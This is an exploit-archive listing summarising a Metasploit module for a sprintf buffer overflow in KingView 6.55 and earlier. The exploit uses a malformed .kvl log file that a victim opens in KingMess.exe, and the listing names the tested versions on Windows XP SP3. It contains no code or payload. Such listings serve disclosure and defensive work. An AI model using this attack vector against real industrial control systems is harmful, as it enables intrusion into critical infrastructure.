KingView Log File Parsing Buffer Overflow
Posted Mar 23, 2013
Authored by Lucas Apa, juan vazquez, Carlos Mario Penagos Hollman | Site metasploit.com

This Metasploit module exploits a vulnerability found in KingView <= 6.55. It exists in the KingMess.exe application when handling log files, due to the insecure usage of sprintf. This Metasploit module uses a malformed .kvl file which must be opened by the victim via the KingMess.exe application, through the 'Browse Log Files' option. The module has been tested successfully on KingView 6.52 and KingView 6.53 Free Trial over Windows XP SP3.
